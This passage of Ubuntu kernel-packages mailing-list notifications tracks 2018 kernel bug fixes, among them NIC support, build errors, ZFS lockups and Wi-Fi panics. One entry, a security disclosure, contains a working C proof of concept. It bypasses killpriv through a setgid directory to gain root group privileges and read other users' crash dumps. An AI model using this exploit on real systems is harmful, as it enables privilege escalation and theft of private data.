days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) NonfreeKernelModules: nvidia_modeset nvidia Package: linux (not installed) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash Tags: bionic Uname: Linux 4.17.2 x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1778087/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783152] Re: Enable basic support for Solarflare 8000 series NIC
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783152 Title: Enable basic support for Solarflare 8000 series NIC Status in linux package in Ubuntu: Confirmed Status in linux-lts-xenial package in Ubuntu: New Status in linux source package in Trusty: Invalid Status in linux-lts-xenial source package in Trusty: In Progress Status in linux source package in Xenial: Fix Committed Status in linux-lts-xenial source package in Xenial: Invalid Bug description: SRU Justification: [Impact] * Users cannot use Solarflare 8000 series NICs. * Servers with only this NIC cannot do netboot. * The patchset adds the PCI IDs and a basic fix. [Test Case] * Try to probe/netboot/use a Solarflare 8000 series NIC. * It does not probe on the original kernel, but it does probe/netboot/install/stress (i.e., basic fuctionality works) on the patched kernel. [Regression Potential] * Users with Solarflare 8000 series NIC might hit problems on device probe or due to a new network interface coming up, now that the NIC comes up. * More specific features of the NIC or advanced tuning/setup might not work as expected or run into issues. [Other Info] * There are known error messages on device probe. * These are benign/non-fatal and will be addressed on another SRU cycle. --- The Trusty HWE kernel from Xenial lacks the PCI ID for the Solarflare 8000 series NIC. This prevents network installs on servers which only have that NIC. In order to get NIC detected, link up, and successful network install, only 2 commits are required: dd248f1bc65b sfc: Add PCI ID for Solarflare 8000 series 10/40G NIC 93171b14a545 sfc: make TSO version a per-queue parameter This patchset is undergoing testing, and I will post the patches to the kernel-team mailing list. --- There are some kernel messages produced possibly due to additional commits missing, but are benign/non-fatal and allows the NIC probing and basic functionality to work. [2.803941] sfc :37:00.0 (unnamed net_device) (uninitialized): Solarflare NIC detected [2.806336] sfc :37:00.0 (unnamed net_device) (uninitialized): Part Number : SFN8042 [2.807366] sfc :37:00.0 (unnamed net_device) (uninitialized): MC command 0x4a inlen 8 failed rc=-2 (raw=2) arg=0 [2.808052] sfc :37:00.0 (unnamed net_device) (uninitialized): no PTP support [2.808488] sfc :37:00.0 (unnamed net_device) (uninitialized): MC command 0x8f inlen 0 failed rc=-1 (raw=1) arg=0 [2.808605] sfc :37:00.0 (unnamed net_device) (uninitialized): failed to allocate PIO buffers (-1) ... [4.037694] sfc :37:00.0 p2p1: link up at 4Mbps full-duplex (MTU 1500) The PTP (precision time protocol / ieee 1588) support is a feature to synchronize clocks over a computer network with high precision, and is not required for basic functionality nor for this particular user. The failure to allocate PIO buffers is non-fatal, see sfc/ef10.c/efx_ef10_dimension_resources() comments. The additional patches to resolve the error messages will be worked on another SRU cycle. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783152/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1782116] Re: snapcraft.yaml: missing ubuntu-retpoline-extract-one script breaks the build
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1782116 Title: snapcraft.yaml: missing ubuntu-retpoline-extract-one script breaks the build Status in linux package in Ubuntu: Fix Committed Status in linux source package in Xenial: Fix Committed Status in linux source package in Bionic: Fix Committed Bug description: Impact: The Ubuntu kernel source code depends on the presence of the retpoline-extract-one file in the script directory during build (see scripts/Makefile.build::cmd_ubuntu_retpoline) - such a file lives in the debian directory and is copied to scripts during the 'debian/rules clean' phase. Snapcraft is oblivious to the debian details, and the clean target is never invoked, breaking the normal kernel build (make defconfig; make ...). Check out the Xenia/generic or Bionic/generic tree, cd into it and execute: make defconfig && make or snapcraft. ... HOSTCC scripts/mod/mk_elfconfig /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory scripts/Makefile.build:332: recipe for target 'scripts/mod/empty.o' failed make[2]: *** [scripts/mod/empty.o] Error 127 make[2]: *** Waiting for unfinished jobs HOSTLD arch/x86/tools/relocs HOSTCC scripts/selinux/genheaders/genheaders HOSTCC scripts/selinux/mdp/mdp scripts/Makefile.build:606: recipe for target 'scripts/mod' failed make[1]: *** [scripts/mod] Error 2 make[1]: *** Waiting for unfinished jobs CC arch/x86/purgatory/purgatory.o Makefile:589: recipe for target 'scripts' failed make: *** [scripts] Error 2 make: *** Waiting for unfinished jobs AS arch/x86/purgatory/stack.o /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory scripts/Makefile.build:332: recipe for target 'arch/x86/purgatory/purgatory.o' failed make[1]: *** [arch/x86/purgatory/purgatory.o] Error 127 make[1]: *** Waiting for unfinished jobs AS arch/x86/purgatory/setup-x86_64.o /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory scripts/Makefile.build:435: recipe for target 'arch/x86/purgatory/stack.o' failed make[1]: *** [arch/x86/purgatory/stack.o] Error 127 /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory scripts/Makefile.build:435: recipe for target 'arch/x86/purgatory/setup-x86_64.o' failed make[1]: *** [arch/x86/purgatory/setup-x86_64.o] Error 127 arch/x86/Makefile:260: recipe for target 'archprepare' failed make: *** [archprepare] Error 2 Failed to run 'make -j4 bzImage modules' for 'kernel': Exited with code 2. Verify that the part is using the correct parameters and try again. Fix: To workaround that, before starting the build, make snapcraft do the copy and fix the build. Regression risk: The patch only modifies snapcraft.yaml, so none. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1782116/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1779923 Title: other users' coredumps can be read via setgid directory and killpriv bypass Status in linux package in Ubuntu: In Progress Status in linux source package in Trusty: Fix Committed Status in linux source package in Xenial: Fix Committed Status in linux source package in Bionic: Fix Committed Status in linux source package in Cosmic: In Progress Bug description: Note: I am both sending this bug report to secur...@kernel.org and filing it in the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug or as a Ubuntu bug. You may wish to talk to each other to determine the best place to fix this. I noticed halfdog's old writeup at https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ , describing essentially the following behavior in combination with a trick for then writing to the resulting file without triggering the killpriv logic: = user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat > demo.c #include int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); } user@debian:~/sgid_demo$ gcc -o demo demo.c user@debian:~/sgid_demo$ ./demo user@debian:~/sgid_demo$ ls -l dir/file -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file = Two patches for this were proposed on LKML back then: "[PATCH 1/2] fs: Check f_cred instead of current's creds in should_remove_suid()" https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/ "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory" https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/ However, as far as I can tell, neither of them actually landed. You can also bypass the killpriv logic with fallocate() and mmap() - fallocate() permits resizing the file without triggering killpriv, mmap() permits writing without triggering killpriv (the mmap part is mentioned at https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/ ): = user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat fallocate.c #define _GNU_SOURCE #include #include #include #include #include #include #include int main(void) { int src_fd = open("/usr/bin/id", O_RDONLY); if (src_fd == -1) err(1, "open 2"); struct stat src_stat; if (fstat(src_fd, _stat)) err(1, "fstat"); int src_len = src_stat.st_size; char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0); if (src_mapping == MAP_FAILED) err(1, "mmap 2"); int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755); if (fd == -1) err(1, "open"); if (fallocate(fd, 0, 0, src_len)) err(1, "fallocate"); char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) err(1, "mmap"); memcpy(mapping, src_mapping, src_len); munmap(mapping, src_len); close(fd); close(src_fd); execl("./dir/file", "id", NULL); err(1, "execl"); } user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c user@debian:~/sgid_demo$ ./fallocate uid=1000(user) gid=1000(user) egid=0(root) groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user) = sys_copy_file_range() also looks as if it bypasses killpriv on supported filesystems, but I haven't tested that one so far. On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and contains group-readable crashdumps in some custom format, so you can use this issue to steal other users' crashdumps: = user@ubuntu-18-04-vm:~$ ls -l /var/crash total 296 -rw-r- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash -rw-r- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash -rw-r- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash -rw-r- 1 user whoopsie 152095 Jun 25
[Kernel-packages] [Bug 1781364] Re: Kernel error "task zfs:pid blocked for more than 120 seconds"
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to zfs-linux in Ubuntu. https://bugs.launchpad.net/bugs/1781364 Title: Kernel error "task zfs:pid blocked for more than 120 seconds" Status in Linux: Fix Released Status in linux package in Ubuntu: Fix Released Status in zfs-linux package in Ubuntu: Fix Released Status in linux source package in Xenial: Fix Committed Status in zfs-linux source package in Xenial: Confirmed Status in linux source package in Bionic: Fix Committed Status in zfs-linux source package in Bionic: Fix Committed Status in linux source package in Cosmic: Fix Released Status in zfs-linux source package in Cosmic: Fix Released Bug description: == SRU Justification, XENIAL, BIONIC == Exercising ZFS with lxd with many mount/umounts can cause lockups and 120 second timeout messages. == How to reproduce bug == In a VM, 2 CPUs, 16GB of memory running Bionic: sudo apt update sudo apt install lxd lxd-client lxd-tools zfsutils-linux sudo lxd init (and with the default init options) then run: lxd-benchmark launch --count 96 --parallel 96 This will reliably show the lockup every time without the fix. With the fix (detailed below) one cannot reproduce the lockup. == Fix == Upstream ZFS commit commit ac09630d8b0bf6c92084a30fdaefd03fd0adbdc1 Author: Brian Behlendorf Date: Wed Jul 11 15:49:10 2018 -0700 Fix zpl_mount() deadlock == Regression Potential == This just changes the locking in the mount path of ZFS and will only affect ZFS mount/unmounts. The regression potential is small as this touches a very small code path that has been exhaustively exercises this code under multiple thread/CPU contention and shown not to break. -- ZFS bug report: https://github.com/zfsonlinux/zfs/issues/7691 "I am using LXD containers that are configured to use a ZFS storage backend. I create many containers using a benchmark tool, which probably stresses the use of ZFS. In two out of four attempts, I got [ 725.970508] INFO: task lxd:4455 blocked for more than 120 seconds. [ 725.976730] Tainted: P O 4.15.0-20-generic #21-Ubuntu [ 725.983551] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 725.991624] INFO: task txg_sync:4202 blocked for more than 120 seconds. [ 725.998264] Tainted: P O 4.15.0-20-generic #21-Ubuntu [ 726.005071] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 726.013313] INFO: task lxd:99919 blocked for more than 120 seconds. [ 726.019609] Tainted: P O 4.15.0-20-generic #21-Ubuntu [ 726.026418] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 726.034560] INFO: task zfs:100513 blocked for more than 120 seconds. [ 726.040936] Tainted: P O 4.15.0-20-generic #21-Ubuntu [ 726.047746] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 726.055791] INFO: task zfs:100584 blocked for more than 120 seconds. [ 726.062170] Tainted: P O 4.15.0-20-generic #21-Ubuntu [ 726.068979] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Describe how to reproduce the problem Start an Ubuntu 18.04 LTS server. Install LXD if not already installed. sudo apt update sudo apt install lxd lxd-client lxd-tools zfsutils-linux Configure LXD with sudo lxd init. When prompted for the storage backend, select ZFS and specify an empty disk. $ sudo lxd init Would you like to use LXD clustering? (yes/no) [default=no]: Do you want to configure a new storage pool? (yes/no) [default=yes]: Name of the new storage pool [default=default]: Name of the storage backend to use (dir, zfs) [default=zfs]: Create a new ZFS pool? (yes/no) [default=yes]: Would you like to use an existing block device? (yes/no) [default=no]: yes Path to the existing block device: /dev/sdb Would you like to connect to a MAAS server? (yes/no) [default=no]: Would you like to create a new local network bridge? (yes/no) [default=yes]: no Would you like to configure LXD to use an existing bridge or host interface? (yes/no)
[Kernel-packages] [Bug 1773410] Re: Redpine: Observed kernel panic while running wireless tests in regression mode
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1773410 Title: Redpine: Observed kernel panic while running wireless tests in regression mode Status in linux package in Ubuntu: Confirmed Status in linux source package in Xenial: Fix Committed Bug description: SRU Justification - Impact: Kernel freezes/panic when running wireless tests in regression Test case: 1. Keep a wrong access-point name in sta.conf file and run the nmcli. 2. There will be continuous scan will be happen and do remove the module using rmmod.sh script. 3. When soft scan is happening in redpine driver, before connection. Some times, we have observed a kernel panic. like below [ 1171.913244] BUG: unable to handle page request at 001067e38 [ 1171.913248] IP: cfg80211_scan_done+0xb0/0xc0 [cfg80211] [ 1171.913971] __ieee80211_scan_completed+0xb1/0x390 [mac80211] [ 1171.914078] ieee80211_scan_work+0x7e/0x480 [mac80211] [ 1171.914098] process_one_work+0x142/0x3d0 [ 1171.914111] worker_thread+0x229/0x440 [ 1171.914122] kthread+0xf5/0x130 [ 1171.914132] ? process_one_work+0x3d0/0x3d0 [ 1171.914140] ? kthread_associate_blkcg+0x90/0x90 [ 1171.914152] ret_from_fork+0x35/0x40 Fix: scan work function keeps running even after cancel_hw_scan() call. Issue is resolved by calling cancel_work_sync(). Regression potential: Ran driver_crash.sh for 100 times and didn't see the issue. This bug is for tracking purposes only, please don't triage. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1773410/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1773400] Re: Redpine: wifi-ap stopped working after restart
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1773400 Title: Redpine: wifi-ap stopped working after restart Status in linux package in Ubuntu: Invalid Status in linux source package in Xenial: Fix Committed Bug description: SRU Justification: -- Impact: Wi-Fi access point isn’t visible to outside devices after reboot Test Case: Configure Wi-Fi AP using setup wizard: $ sudo wifi-ap.setup-wizard Check configured AP settings: $ sudo wifi-ap.config get debug: false dhcp.lease-time: 12h dhcp.range-start: 10.0.60.2 dhcp.range-stop: 10.0.60.200 disabled: false share.disabled: false share.network-interface: wlan0 wifi.address: 10.0.60.1 wifi.channel: 6 wifi.country-code: wifi.hostapd-driver: nl80211 wifi.interface: wlan0 wifi.interface-mode: direct wifi.netmask: ff00 wifi.operation-mode: g wifi.security: wpa2 wifi.security-passphrase: some-password wifi.ssid: dell-gateway Check in third-party stations. SSID is invisible. Restart AP and check its status: $ sudo wifi-ap.status restart-ap Check status of AP. It is showing true. $ sudo wifi-ap.status ap.active: true At this point also, Wi-Fi access point is not visible. Fix: Power save is enabled in AP mode. it must be disabled. Regression potential: Ran "wifi-ap.status restart-ap" command in every 1 minute and observed whether it is visible to third party devices are not. And it is behaving as expected. This patch is for tracking only, please don't triage. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1773400/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1777850] Re: Redpine: Observed kernel panic while running soft-ap tests
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1777850 Title: Redpine: Observed kernel panic while running soft-ap tests Status in linux package in Ubuntu: Fix Committed Status in linux source package in Xenial: Fix Committed Bug description: SRU Justification: -- Impact: Kernel freezes/panic when running wireless tests for soft-ap Test case: 1. Create a soft-ap upon reboot. 2. Install Checkbox plano and : $ sudo snap install --devmode checkbox-plano 3. Run below wifi-ap test case $ checkbox-plano.checkbox-cli run .*device .*wireless/caracalla-wifi_ap_.*wlan0_auto 4. Upon 3-4 iteraions, observed kernel crash as below, [ 718.83244] BUG: unable to handle page request at 001067e38 [ 718.83248] IP: cfg80211_scan_done+0xb0/0xc0 [cfg80211] [ 718.83971] __ieee80211_scan_completed+0xb1/0x390 [mac80211] [ 718.84078] ieee80211_scan_work+0x7e/0x480 [mac80211] [ 718.84098] process_one_work+0x142/0x3d0 [ 718.84111] worker_thread+0x229/0x440 [ 718.84122] kthread+0xf5/0x130 [ 718.84132] ? process_one_work+0x3d0/0x3d0 [ 718.84140] ? kthread_associate_blkcg+0x90/0x90 [ 718.84152] ret_from_fork+0x35/0x40 Fix: scan work function keeps running even after cancel_hw_scan() call. Issue is resolved by calling cancel_work_sync() in rsi_mac80211_stop(). Regression Petential: Ran Step 3 in 30-times. Didn't see any kernel panic. This bug is for tracking purposes only, please don't triage. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1777850/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1777858] Re: Redpine: Observed kernel panic while running wireless regressions tests
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1777858 Title: Redpine: Observed kernel panic while running wireless regressions tests Status in linux package in Ubuntu: Confirmed Status in linux source package in Xenial: Fix Committed Bug description: SRU Justification: -- Impact: Kernel freezes/panic when running wireless tests Test case: 1. Create a wireless soft-ap/station upon reboot. 2. Install Checkbox plano and : $ sudo snap install --devmode checkbox-plano 3. Run below wifi-ap test case $ checkbox-plano.checkbox-cli run .*device .*wireless/caracalla-wifi_ap_.*wlan0_auto 4. Upon 3-4 iteraions, observed kernel crash as below, BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] exit_creds+0x1f/0x50 PGD 0 Oops: 0002 [#1] SMP CPU: 0 PID: 6502 Comm: rmmod Tainted: G OE 4.4.0-128-generic #154-Ubuntu Hardware name: Dell Inc. Edge Gateway 3003/ , BIOS 01.00.00 04/17/2017 Stack: 88007392e600 880075847dc0 8108160a 88007392e600 880075847de8 810a484b 880076127000 88003cd3a800 880074f12a00 880075847e28 c09bed15 Call Trace: [] __put_task_struct+0x5a/0x140 [] kthread_stop+0x10b/0x110 [] rsi_disconnect+0x2f5/0x300 [ven_rsi_sdio] [] ? __pm_runtime_resume+0x5b/0x80 [] sdio_bus_remove+0x38/0x100 [] __device_release_driver+0xa4/0x150 [] driver_detach+0xb5/0xc0 [] bus_remove_driver+0x55/0xd0 [] driver_unregister+0x2c/0x50 [] sdio_unregister_driver+0x1a/0x20 [] rsi_module_exit+0x15/0x30 [ven_rsi_sdio] [] SyS_delete_module+0x1b8/0x210 [] entry_SYSCALL_64_fastpath+0x1c/0xbb Fix: kthread_stop() is taking care of wait_for_completion() by default. No need of taking care separately. Issue is resolved by removing wait_for_completion() from rsi_disconnect(). Regression Petential: Ran Step 3 in 30-times. Didn't see any kernel panic. This bug is for tracking purposes only, please don't triage. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1777858/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778286] Re: Backport namespaced fscaps to xenial 4.4
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778286 Title: Backport namespaced fscaps to xenial 4.4 Status in linux package in Ubuntu: Fix Released Status in linux source package in Xenial: Fix Committed Bug description: SRU Justification Impact: Support for using filesystem capabilities in unprivileged user namespaces was added upstream in Linux 4.14. This is a useful feature that allows unprivileged containers to set fscaps that are valid only in user namespaces where a specific kuid is mapped to root. This allows for e.g. support for Linux distros within lxd which make use of filesystem capabilities. Fix: Backport upstream commit 8db6c34f1dbc "Introduce v3 namespaced file capabilities" and any subsequent fixes to xenial 4.4. Test Case: Test use of fscaps within a lxd container. Regression Potential: This has been upstream since 4.14 (and thus is present in bionic), and the backport to xenial 4.4 was straightforward, so regression potential is low. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1778286/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784306] Re: linux-aws: 4.4.0-1064.74 -proposed tracker
** Changed in: kernel-sru-workflow/automated-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/promote-to-proposed Status: Fix Committed => Fix Released ** Changed in: kernel-sru-workflow/regression-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/security-signoff Status: New => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-beta Status: New => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-edge Status: New => Confirmed ** Changed in: kernel-sru-workflow/verification-testing Status: New => Confirmed ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true + kernel-stable-phase:Promoted to proposed + kernel-stable-phase-changed:Friday, 03. August 2018 18:05 UTC ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true - kernel-stable-phase:Promoted to proposed - kernel-stable-phase-changed:Friday, 03. August 2018 18:05 UTC + bugs-spammed: true + phase: Promoted to proposed + proposed-announcement-sent: true + proposed-testing-requested: true -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-aws in Ubuntu. https://bugs.launchpad.net/bugs/1784306 Title: linux-aws: 4.4.0-1064.74 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: Confirmed Status in Kernel SRU Workflow snap-release-to-beta series: Confirmed Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: Confirmed Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux-aws package in Ubuntu: Invalid Status in linux-aws source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true bugs-spammed: true phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784306/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778087] Re: ELAN1200 touchpad jumps around and disconnects
Hello all The same happens to my laptop that I've bought a week ago (Asus FX503VM, GTX1060). I had already seen that the touchpad had issues with the default 4.15 kernel on Ubuntu 18.04 that I have installed. Therefore I have installed Ukuu and managed to load later kernels. Indeed running 4.17.11 had the touchpad working perfectly (no stuttering and lag), but unfortunately with the freezing problem mentioned here, present. After some experimenting with the modules, I have realised that unloading and loading the i2c_hid module fixes the freeze. After the last post pointing at bugzilla for Fedora, I can verify that unloading and loading the i2c_hid module fixes the problem which is also caused by a five finger tap as stated there (for me it is sometimes caused even during the two finger scroll). I've now updated the kernel to 4.17.12 but the problem persists and no fix seems to be incorporated. IMHO, the problem is at the i2c_hid module. Let's hope that this will be fixed soon. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778087 Title: ELAN1200 touchpad jumps 